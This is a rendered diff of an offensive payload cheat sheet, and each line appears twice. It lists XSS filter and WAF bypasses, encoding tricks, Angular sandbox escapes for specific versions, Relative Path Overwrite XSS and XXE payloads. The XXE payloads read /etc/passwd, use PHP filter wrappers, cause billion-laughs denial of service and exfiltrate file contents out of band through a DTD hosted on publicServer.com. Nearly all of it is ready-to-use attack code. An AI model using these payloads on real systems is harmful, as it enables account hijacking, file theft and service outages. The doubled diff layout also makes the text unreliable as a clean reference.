``` ```
Bypass onxxx= filter with a null byte/vertical tab - IE/Safari Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
```javascript ```javascript
<img src='1' onerror\x00=alert(0) /> <img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) /> <img src='1' onerror\x0b=alert(0) />
``` ```
Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
```javascript ```javascript
<img src='1' onerror/=alert(0) /> <img src='1' onerror/=alert(0) />
``` ```
Bypass space filter with "/" - IE/Firefox/Chrome/Safari Bypass space filter with "/" - IE/Firefox/Chrome/Safari
```javascript ```javascript
<img/src='1'/onerror=alert(0)> <img/src='1'/onerror=alert(0)>
``` ```
Bypass space filter with 0x0c/^L Bypass space filter with 0x0c/^L
```javascript ```javascript
<svg onload = alert(1) > <svg onload = alert(1) >
@ -411,13 +450,14 @@ $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000010: 6572 7428 3129 0c3e 0a ert(1).>. 00000010: 6572 7428 3129 0c3e 0a ert(1).>.
``` ```
Bypass document blacklist Bypass document blacklist
```javascript ```javascript
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script> <div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
``` ```
Bypass using javascript inside a string Bypass using javascript inside a string
```javascript ```javascript
<script> <script>
foo="text </script><script>alert(1)</script>"; foo="text </script><script>alert(1)</script>";
@ -425,6 +465,7 @@ foo="text </script><script>alert(1)</script>";
``` ```
Bypass using an alternate way to redirect Bypass using an alternate way to redirect
```javascript ```javascript
location="http://google.com" location="http://google.com"
document.location = "http://google.com" document.location = "http://google.com"
@ -434,6 +475,7 @@ window['location']['href']="http://google.com"
``` ```
Bypass using an alternate way to execute an alert - [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) Bypass using an alternate way to execute an alert - [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040)
```javascript ```javascript
window['alert'](0) window['alert'](0)
parent['alert'](1) parent['alert'](1)
@ -452,6 +494,7 @@ content['alert'](6)
``` ```
Bypass using an alternate way to execute an alert - [@404death](https://twitter.com/404death/status/1011860096685502464) Bypass using an alternate way to execute an alert - [@404death](https://twitter.com/404death/status/1011860096685502464)
```javascript ```javascript
eval('ale'+'rt(0)'); eval('ale'+'rt(0)');
Function("ale"+"rt(1)")(); Function("ale"+"rt(1)")();
@ -474,8 +517,8 @@ Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```; Set.constructor`al\x65rt\x2814\x29```;
``` ```
Bypass using an alternate way to trigger an alert Bypass using an alternate way to trigger an alert
```javascript ```javascript
var i = document.createElement("iframe"); var i = document.createElement("iframe");
i.onload = function(){ i.onload = function(){
@ -497,11 +540,13 @@ XSSObject.proxy(window, 'alert', 'window.alert', false);
``` ```
Bypass ">" using nothing #trololo (you don't need to close your tags) Bypass ">" using nothing #trololo (you don't need to close your tags)
```javascript ```javascript
<svg onload=alert(1)// <svg onload=alert(1)//
``` ```
Bypass ';' using another character Bypass ';' using another character
```javascript ```javascript
'te' * alert('*') * 'xt'; 'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt'; 'te' / alert('/') / 'xt';
@ -521,22 +566,25 @@ Bypass ';' using another character
``` ```
Bypass using HTML encoding Bypass using HTML encoding
```javascript ```javascript
%26%2397;lert(1) %26%2397;lert(1)
``` ```
Bypass using Katakana (https://github.com/aemkei/katakana.js) Bypass using Katakana (https://github.com/aemkei/katakana.js)
```javascript ```javascript
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
``` ```
Bypass using Octal encoding Bypass using Octal encoding
```javascript ```javascript
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
``` ```
Bypass using Unicode Bypass using Unicode
```javascript ```javascript
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<) transformed into U+003C LESS­THAN SIGN (<)
@ -562,6 +610,7 @@ E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert
``` ```
Bypass using Unicode converted to uppercase Bypass using Unicode converted to uppercase
```javascript ```javascript
İ (%c4%b0).toLowerCase() => i İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I ı (%c4%b1).toUpperCase() => I
@ -573,6 +622,7 @@ Bypass using Unicode converted to uppercase
``` ```
Bypass using overlong UTF-8 Bypass using overlong UTF-8
```javascript ```javascript
< = %C0%BC = %E0%80%BC = %F0%80%80%BC < = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE > = %C0%BE = %E0%80%BE = %F0%80%80%BE
@ -583,23 +633,27 @@ Bypass using overlong UTF-8
``` ```
Bypass using UTF-7 Bypass using UTF-7
```javascript ```javascript
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
``` ```
Bypass using UTF-16be Bypass using UTF-16be
```javascript ```javascript
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00 %00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00> \x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
``` ```
Bypass using UTF-32 Bypass using UTF-32
```js ```js
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E %00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
``` ```
Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.) Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.)
BOM character allows you to override charset of the page BOM character allows you to override charset of the page
```js ```js
BOM Character for UTF-16 Encoding: BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF Big Endian : 0xFE 0xFF
@ -614,11 +668,13 @@ XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o
Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27)) Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27))
//google.com/complete/search?client=chrome&jsonp=alert(1); //google.com/complete/search?client=chrome&jsonp=alert(1);
```js ```js
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
``` ```
Bypass using weird encoding or native interpretation to hide the payload (alert()) Bypass using weird encoding or native interpretation to hide the payload (alert())
```javascript ```javascript
<script>\u0061\u006C\u0065\u0072\u0074(1)</script> <script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" /> <img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
@ -628,6 +684,7 @@ Bypass using weird encoding or native interpretation to hide the payload (alert(
``` ```
Exotic payloads Exotic payloads
```javascript ```javascript
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)> <img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script> <script>$=1,alert($)</script>
@ -645,12 +702,15 @@ Exotic payloads
## Common WAF Bypass ## Common WAF Bypass
### Chrome Auditor - 9th august ### Chrome Auditor - 9th august
```javascript ```javascript
</script><svg><script>alert(1)-%26apos%3B </script><svg><script>alert(1)-%26apos%3B
``` ```
Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B) Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B)
### Incapsula WAF Bypass - 8th march ### Incapsula WAF Bypass - 8th march
```javascript ```javascript
anythinglr00</script><script>alert(document.domain)</script>uxldz anythinglr00</script><script>alert(document.domain)</script>uxldz
@ -658,31 +718,34 @@ anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxld
``` ```
### Akamai WAF bypass by @zseano - 18th june ### Akamai WAF bypass by @zseano - 18th june
```javascript ```javascript
?"></script><base%20c%3D=href%3Dhttps:\mysite> ?"></script><base%20c%3D=href%3Dhttps:\mysite>
``` ```
## More fun ? ## More fun ?
This section will be used for the "fun/interesting/useless" stuff.
Use notification box instead of an alert - by [@brutelogic](https://twitter.com/brutelogic) This section will be used for the "fun/interesting/useless" stuff.
Use notification box instead of an alert - by [@brutelogic](https://twitter.com/brutelogic)
Note : it requires user permission Note : it requires user permission
```
```javascript
Notification.requestPermission(x=>{new(Notification)(1)}) Notification.requestPermission(x=>{new(Notification)(1)})
``` ```
Try here : [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//) Try here : [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//)
## Thanks to ## Thanks to
* https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
* tbm - [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
* http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html - tbm
* http://www.thespanner.co.uk/2014/03/21/rpo/ - [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html)
* http://blog.innerht.ml/rpo-gadgets/ - [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/)
* http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite - [RPO Gadget - innerthmtl](http://blog.innerht.ml/rpo-gadgets/)
* http://d3adend.org/xss/ghettoBypass - http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite
* http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html - http://d3adend.org/xss/ghettoBypass
* http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html - http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
* https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5 - http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html
* https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309 - https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5
- https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309

View File

@ -1,11 +1,14 @@
## XSS in Angular # XSS in Angular
Angular 1.6.0 Angular 1.6.0
```
```javascript
{{0[a='constructor'][a]('alert(1)')()}} {{0[a='constructor'][a]('alert(1)')()}}
``` ```
Angular 1.5.9 Angular 1.5.9
```
```javascript
{{ {{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase; c.$apply=$apply;c.$eval=b;op=$root.$$phase;
@ -23,22 +26,26 @@ Angular 1.5.9
``` ```
Angular 1.5.0 - 1.5.8 Angular 1.5.0 - 1.5.8
```
```javascript
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
``` ```
Angular 1.4.0 - 1.4.9 Angular 1.4.0 - 1.4.9
```
```javascript
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
``` ```
Angular 1.3.20 Angular 1.3.20
```
```javascript
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
``` ```
Angular 1.3.19 Angular 1.3.19
```
```javascript
{{ {{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//'); $eval('x=alert(1)//');
@ -46,14 +53,16 @@ Angular 1.3.19
``` ```
Angular 1.3.3 - 1.3.18 Angular 1.3.3 - 1.3.18
```
```javascript
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join; 'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }} $eval('x=alert(1)//'); }}
``` ```
Angular 1.3.1 - 1.3.2 Angular 1.3.1 - 1.3.2
```
```javascript
{{ {{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 'a'.constructor.prototype.charAt=''.valueOf;
@ -62,7 +71,8 @@ Angular 1.3.1 - 1.3.2
``` ```
Angular 1.3.0 Angular 1.3.0
```
```javascript
{{!ready && (ready = true) && ( {{!ready && (ready = true) && (
!call !call
? $$watchers[0].get(toString.constructor.prototype) ? $$watchers[0].get(toString.constructor.prototype)
@ -80,31 +90,37 @@ Angular 1.3.0
``` ```
Angular 1.2.24 - 1.2.29 Angular 1.2.24 - 1.2.29
```
```javascript
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
``` ```
Angular 1.2.19 - 1.2.23 Angular 1.2.19 - 1.2.23
```
```javascript
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}} {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
``` ```
Angular 1.2.6 - 1.2.18 Angular 1.2.6 - 1.2.18
```
```javascript
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
``` ```
Angular 1.2.2 - 1.2.5 Angular 1.2.2 - 1.2.5
```
```javascript
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
``` ```
Angular 1.2.0 - 1.2.1 Angular 1.2.0 - 1.2.1
```
```javascript
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
``` ```
Angular 1.0.1 - 1.1.5 Angular 1.0.1 - 1.1.5
```
```javascript
{{constructor.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` ```

View File

@ -1,15 +1,16 @@
## XSS with Relative Path Overwrite - IE 8/9 and lower # XSS with Relative Path Overwrite - IE 8/9 and lower
You need these 3 components You need these 3 components
```
```javascript
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))} 1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting. 2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css 3) Relative addressing to CSS style sheet : ../style.css
``` ```
A little example A little example
```
```html
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE] http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html> <html>
<head> <head>
@ -23,23 +24,21 @@ Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
``` ```
Explanation of the vulnerability Explanation of the vulnerability
```
The Meta element forces IEs document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks theres another directory but the actual request is being sent to the document and that in essence is how an RPO attack works. > The Meta element forces IEs document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
> A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks theres another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php Demo 1 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php`
Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3 Demo 2 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3`
MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php MultiBrowser : `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php`
From : http://www.thespanner.co.uk/2014/03/21/rpo/
```
From : `http://www.thespanner.co.uk/2014/03/21/rpo/`
## Mutated XSS for Browser IE8/IE9 ## Mutated XSS for Browser IE8/IE9
```
```javascript
<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing> <listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script> <script>alert(document.getElementById('x').innerHTML)</script>
``` ```
IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.

View File

@ -1,10 +1,12 @@
# XML External Entity # XML External Entity
An XML External Entity attack is a type of attack against an application that parses XML input An XML External Entity attack is a type of attack against an application that parses XML input
## Exploit ## Exploit
Basic Test Basic Test
```
```xml
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]> <!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo> <userInfo>
@ -14,8 +16,10 @@ Basic Test
``` ```
## Basic XXE ## Basic XXE
Classic XXE Classic XXE
```
```xml
<?xml version="1.0"?> <?xml version="1.0"?>
<!DOCTYPE data [ <!DOCTYPE data [
<!ELEMENT data (#ANY)> <!ELEMENT data (#ANY)>
@ -24,28 +28,29 @@ Classic XXE
<data>&file;</data> <data>&file;</data>
``` ```
``` ```xml
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ELEMENT foo ANY > <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
``` ```
``` ```xml
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ELEMENT foo ANY > <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
``` ```
Classic XXE Base64 encoded Classic XXE Base64 encoded
```
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
``` ```
## PHP Wrapper inside XXE ## PHP Wrapper inside XXE
```
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts> <contacts>
<contact> <contact>
@ -58,7 +63,7 @@ Classic XXE Base64 encoded
</contacts> </contacts>
``` ```
``` ```xml
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ELEMENT foo ANY > <!ELEMENT foo ANY >
@ -67,10 +72,11 @@ Classic XXE Base64 encoded
<foo>&xxe;</foo> <foo>&xxe;</foo>
``` ```
## Deny of service ## Deny of service
Deny Of Service - Billion Laugh Attack Deny Of Service - Billion Laugh Attack
```
```xml
<!DOCTYPE data [ <!DOCTYPE data [
<!ENTITY a0 "dos" > <!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
@ -82,7 +88,8 @@ Deny Of Service - Billion Laugh Attack
``` ```
Yaml attack Yaml attack
```
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
@ -95,8 +102,10 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
``` ```
## Blind XXE ## Blind XXE
Blind XXE Blind XXE
```
```xml
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ELEMENT foo ANY > <!ELEMENT foo ANY >
@ -107,9 +116,9 @@ Blind XXE
<foo>&callhome;</foo> <foo>&callhome;</foo>
``` ```
XXE OOB Attack (Yunusov, 2013) XXE OOB Attack (Yunusov, 2013)
```
```xml
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd"> <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data> <data>&send;</data>
@ -121,7 +130,8 @@ File stored on http://publicServer.com/parameterEntity_oob.dtd
``` ```
XXE OOB with DTD and PHP filter XXE OOB with DTD and PHP filter
```
```xml
<?xml version="1.0" ?> <?xml version="1.0" ?>
<!DOCTYPE r [ <!DOCTYPE r [
<!ELEMENT r ANY > <!ELEMENT r ANY >
@ -137,13 +147,14 @@ File stored on http://127.0.0.1/dtd.xml
``` ```
XXE Inside SOAP XXE Inside SOAP
```
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
``` ```
## Thanks to ## Thanks to
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
* http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html * [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
* https://gist.github.com/staaldraad/01415b990939494879b4 * [Detecting and exploiting XXE in SAML Interfaces - Von Christian Mainka](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html)
* https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870 * [staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4)
* [mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870)